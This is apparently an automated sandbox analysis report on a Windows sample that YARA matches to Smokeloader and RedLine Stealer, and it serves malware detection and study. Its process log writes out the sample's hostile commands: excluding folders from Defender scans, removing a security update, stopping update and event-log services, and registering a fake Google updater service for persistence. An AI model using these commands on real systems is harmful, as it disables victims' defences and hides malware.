Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C6B9A60 0_2_6C6B9A60
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C691AF0 0_2_6C691AF0
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C6BE2F0 0_2_6C6BE2F0
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C6B8AC0 0_2_6C6B8AC0
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C6722A0 0_2_6C6722A0
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C6A4AA0 0_2_6C6A4AA0
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C68CAB0 0_2_6C68CAB0
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C6E2AB0 0_2_6C6E2AB0
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C6EBA90 0_2_6C6EBA90
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C68C370 0_2_6C68C370
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C675340 0_2_6C675340
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C6BD320 0_2_6C6BD320
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C6E53C8 0_2_6C6E53C8
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C67F380 0_2_6C67F380
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C72AC60 0_2_6C72AC60
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C7FAC30 0_2_6C7FAC30
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C7E6C00 0_2_6C7E6C00
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C77ECD0 0_2_6C77ECD0
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C71ECC0 0_2_6C71ECC0
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C7EED70 0_2_6C7EED70
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C8ACDC0 0_2_6C8ACDC0
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C8A8D20 0_2_6C8A8D20
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C724DB0 0_2_6C724DB0
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C84AD50 0_2_6C84AD50
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C7B6D90 0_2_6C7B6D90
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C7BEE70 0_2_6C7BEE70
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C800E20 0_2_6C800E20
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C72AEC0 0_2_6C72AEC0
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C7C0EC0 0_2_6C7C0EC0
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C7A6E90 0_2_6C7A6E90
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C7E2F70 0_2_6C7E2F70
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C868FB0 0_2_6C868FB0
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C78EF40 0_2_6C78EF40
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C726F10 0_2_6C726F10
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C7FEFF0 0_2_6C7FEFF0
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C720FE0 0_2_6C720FE0
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C860F20 0_2_6C860F20
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C72EFB0 0_2_6C72EFB0
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C7F4840 0_2_6C7F4840
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C770820 0_2_6C770820
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C7AA820 0_2_6C7AA820
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C8268E0 0_2_6C8268E0
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C758960 0_2_6C758960
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C83C9E0 0_2_6C83C9E0
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C776900 0_2_6C776900
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C7549F0 0_2_6C7549F0
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C7E09B0 0_2_6C7E09B0
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C7B09A0 0_2_6C7B09A0
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C7DA9A0 0_2_6C7DA9A0
Dropped file seen in connection with other malware
Source: Joe Sandbox View Dropped File: C:\ProgramData\Google\Chrome\updater.exe 18C96BD577F15C92A89A17EE3A768A581B050EC34FCFA72823E624336291170B
Source: Joe Sandbox View Dropped File: C:\ProgramData\HIJEGDBGDB.exe 18C96BD577F15C92A89A17EE3A768A581B050EC34FCFA72823E624336291170B
Source: Joe Sandbox View Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
Found potential string decryption / allocating functions
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: String function: 6C6B94D0 appears 90 times
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: String function: 6C6ACBE8 appears 134 times
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: String function: 6C8A09D0 appears 89 times
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: String function: 004045C0 appears 317 times
One or more processes crash
Source: C:\Windows\System32\svchost.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 3872 -ip 3872
PE file contains more sections than normal
Source: HIJEGDBGDB.exe.0.dr Static PE information: Number of sections : 14 > 10
Source: updater.exe.5.dr Static PE information: Number of sections : 14 > 10
Sample file is different than original file name gathered from version info
Source: 3WffcqLN3q.exe, 00000000.00000002.2633963881.0000000034650000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs 3WffcqLN3q.exe
Source: 3WffcqLN3q.exe, 00000000.00000002.2633963881.0000000034650000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCmd.Exej% vs 3WffcqLN3q.exe
Source: 3WffcqLN3q.exe, 00000000.00000002.2635178272.000000006C8F5000.00000002.00000001.01000000.00000007.sdmp Binary or memory string: OriginalFilenamenss3.dll0 vs 3WffcqLN3q.exe
Source: 3WffcqLN3q.exe, 00000000.00000002.2634821699.000000006C702000.00000002.00000001.01000000.00000008.sdmp Binary or memory string: OriginalFilenamemozglue.dll0 vs 3WffcqLN3q.exe
Uses 32bit PE files
Source: 3WffcqLN3q.exe Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
Yara signature match
Source: 00000000.00000002.2611482078.0000000000910000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000000.00000002.2611578671.00000000009CB000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 3WffcqLN3q.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: HIJEGDBGDB.exe.0.dr Static PE information: Section: ZLIB complexity 0.9912363725593297
Source: HIJEGDBGDB.exe.0.dr Static PE information: Section: ZLIB complexity 1.0022490288284605
Source: HIJEGDBGDB.exe.0.dr Static PE information: Section: ZLIB complexity 1.0416666666666667
Source: HIJEGDBGDB.exe.0.dr Static PE information: Section: ZLIB complexity 1.5625
Source: HIJEGDBGDB.exe.0.dr Static PE information: Section: ZLIB complexity 2.3333333333333335
Source: HIJEGDBGDB.exe.0.dr Static PE information: Section: ZLIB complexity 1.030054644808743
Source: HIJEGDBGDB.exe.0.dr Static PE information: Section: ZLIB complexity 1.1047619047619048
Source: HIJEGDBGDB.exe.0.dr Static PE information: Section: .reloc ZLIB complexity 1.5
Source: updater.exe.5.dr Static PE information: Section: ZLIB complexity 0.9912363725593297
Source: updater.exe.5.dr Static PE information: Section: ZLIB complexity 1.0022490288284605
Source: updater.exe.5.dr Static PE information: Section: ZLIB complexity 1.0416666666666667
Source: updater.exe.5.dr Static PE information: Section: ZLIB complexity 1.5625
Source: updater.exe.5.dr Static PE information: Section: ZLIB complexity 2.3333333333333335
Source: updater.exe.5.dr Static PE information: Section: ZLIB complexity 1.030054644808743
Source: updater.exe.5.dr Static PE information: Section: ZLIB complexity 1.1047619047619048
Source: updater.exe.5.dr Static PE information: Section: .reloc ZLIB complexity 1.5
Source: classification engine Classification label: mal100.troj.adwa.spyw.evad.winEXE@62/38@1/5
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C6D7030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree, 0_2_6C6D7030
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_00419600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle, 0_2_00419600
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_00413720 CoCreateInstance,MultiByteToWideChar,lstrcpyn, 0_2_00413720
Source: C:\Users\user\Desktop\3WffcqLN3q.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\V1YI7CSW.htm Jump to behavior
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4984:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Mutant created: NULL
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5804:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6976:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:432:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1476:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7112:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6132:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6616:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4724:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5228:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2892:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1876:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess3872
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5340:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1248:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4072:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2788:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_a3ctcemb.vy5.ps1 Jump to behavior
Source: 3WffcqLN3q.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: C:\Users\user\Desktop\3WffcqLN3q.exe File read: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\ProgramData\HIJEGDBGDB.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: 3WffcqLN3q.exe, 00000000.00000002.2623091873.000000001ADD8000.00000004.00000020.00020000.00000000.sdmp, 3WffcqLN3q.exe, 00000000.00000002.2634267968.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 3WffcqLN3q.exe, 00000000.00000002.2635083503.000000006C8AF000.00000002.00000001.01000000.00000007.sdmp Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: 3WffcqLN3q.exe, 00000000.00000002.2623091873.000000001ADD8000.00000004.00000020.00020000.00000000.sdmp, 3WffcqLN3q.exe, 00000000.00000002.2634267968.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 3WffcqLN3q.exe, 00000000.00000002.2635083503.000000006C8AF000.00000002.00000001.01000000.00000007.sdmp Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: 3WffcqLN3q.exe, 00000000.00000002.2623091873.000000001ADD8000.00000004.00000020.00020000.00000000.sdmp, 3WffcqLN3q.exe, 00000000.00000002.2634267968.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 3WffcqLN3q.exe, 00000000.00000002.2635083503.000000006C8AF000.00000002.00000001.01000000.00000007.sdmp Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: 3WffcqLN3q.exe, 00000000.00000002.2623091873.000000001ADD8000.00000004.00000020.00020000.00000000.sdmp, 3WffcqLN3q.exe, 00000000.00000002.2634267968.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 3WffcqLN3q.exe, 00000000.00000002.2635083503.000000006C8AF000.00000002.00000001.01000000.00000007.sdmp Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: 3WffcqLN3q.exe, 3WffcqLN3q.exe, 00000000.00000002.2623091873.000000001ADD8000.00000004.00000020.00020000.00000000.sdmp, 3WffcqLN3q.exe, 00000000.00000002.2634267968.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 3WffcqLN3q.exe, 00000000.00000002.2635083503.000000006C8AF000.00000002.00000001.01000000.00000007.sdmp Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: 3WffcqLN3q.exe, 00000000.00000002.2623091873.000000001ADD8000.00000004.00000020.00020000.00000000.sdmp, 3WffcqLN3q.exe, 00000000.00000002.2634267968.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: 3WffcqLN3q.exe, 00000000.00000002.2623091873.000000001ADD8000.00000004.00000020.00020000.00000000.sdmp, 3WffcqLN3q.exe, 00000000.00000002.2634267968.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 3WffcqLN3q.exe, 00000000.00000002.2635083503.000000006C8AF000.00000002.00000001.01000000.00000007.sdmp Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: 3WffcqLN3q.exe, 00000000.00000003.2150350390.0000000020EA9000.00000004.00000020.00020000.00000000.sdmp, 3WffcqLN3q.exe, 00000000.00000003.2159194324.0000000020EC5000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: 3WffcqLN3q.exe, 00000000.00000002.2623091873.000000001ADD8000.00000004.00000020.00020000.00000000.sdmp, 3WffcqLN3q.exe, 00000000.00000002.2634267968.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: 3WffcqLN3q.exe, 00000000.00000002.2623091873.000000001ADD8000.00000004.00000020.00020000.00000000.sdmp, 3WffcqLN3q.exe, 00000000.00000002.2634267968.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: unknown Process created: C:\Users\user\Desktop\3WffcqLN3q.exe "C:\Users\user\Desktop\3WffcqLN3q.exe"
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\ProgramData\HIJEGDBGDB.exe"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\ProgramData\HIJEGDBGDB.exe "C:\ProgramData\HIJEGDBGDB.exe"
Source: C:\ProgramData\HIJEGDBGDB.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
Source: C:\Windows\System32\svchost.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 3872 -ip 3872
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 3872 -s 2960
Source: unknown Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\ProgramData\HIJEGDBGDB.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\ProgramData\HIJEGDBGDB.exe Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\sc.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\ProgramData\HIJEGDBGDB.exe Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop WaaSMedicSvc
Source: C:\Windows\System32\sc.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\HIJEGDBGDB.exe Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop wuauserv
Source: C:\Windows\System32\sc.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\HIJEGDBGDB.exe Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop bits
Source: C:\Windows\System32\sc.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\HIJEGDBGDB.exe Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop dosvc
Source: C:\Windows\System32\sc.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\HIJEGDBGDB.exe Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\ProgramData\HIJEGDBGDB.exe Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Source: C:\Windows\System32\powercfg.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\HIJEGDBGDB.exe Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\Windows\System32\powercfg.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\HIJEGDBGDB.exe Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Source: C:\Windows\System32\powercfg.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\powercfg.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\HIJEGDBGDB.exe Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineQC"
Source: C:\Windows\System32\sc.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\HIJEGDBGDB.exe Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\updater.exe" start= "auto"
Source: C:\Windows\System32\sc.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\HIJEGDBGDB.exe Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop eventlog
Source: C:\ProgramData\HIJEGDBGDB.exe Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineQC"
Source: C:\Windows\System32\sc.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\sc.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown Process created: C:\ProgramData\Google\Chrome\updater.exe C:\ProgramData\Google\Chrome\updater.exe
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\ProgramData\HIJEGDBGDB.exe" Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\ProgramData\HIJEGDBGDB.exe "C:\ProgramData\HIJEGDBGDB.exe" Jump to behavior
Source: C:\ProgramData\HIJEGDBGDB.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force Jump to behavior
Source: C:\ProgramData\HIJEGDBGDB.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart Jump to behavior
Source: C:\ProgramData\HIJEGDBGDB.exe Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc Jump to behavior
Source: C:\ProgramData\HIJEGDBGDB.exe Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop WaaSMedicSvc Jump to behavior
Source: C:\ProgramData\HIJEGDBGDB.exe Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop wuauserv Jump to behavior
Source: C:\ProgramData\HIJEGDBGDB.exe Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop bits Jump to behavior
Source: C:\ProgramData\HIJEGDBGDB.exe Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop dosvc Jump to behavior
Source: C:\ProgramData\HIJEGDBGDB.exe Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0 Jump to behavior
Source: C:\ProgramData\HIJEGDBGDB.exe Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0 Jump to behavior
Source: C:\ProgramData\HIJEGDBGDB.exe Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0 Jump to behavior
Source: C:\ProgramData\HIJEGDBGDB.exe Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0 Jump to behavior
Source: C:\ProgramData\HIJEGDBGDB.exe Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineQC" Jump to behavior
Source: C:\ProgramData\HIJEGDBGDB.exe Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\updater.exe" start= "auto" Jump to behavior
Source: C:\ProgramData\HIJEGDBGDB.exe Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop eventlog Jump to behavior
Source: C:\ProgramData\HIJEGDBGDB.exe Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineQC" Jump to behavior
Source: C:\Windows\System32\svchost.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 3872 -ip 3872 Jump to behavior
Source: C:\Windows\System32\svchost.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 3872 -s 2960 Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process created: unknown unknown Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Section loaded: msimg32.dll Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Section loaded: msvcr100.dll Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Section loaded: rstrtmgr.dll Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Section loaded: wldp.dll Jump to behavior
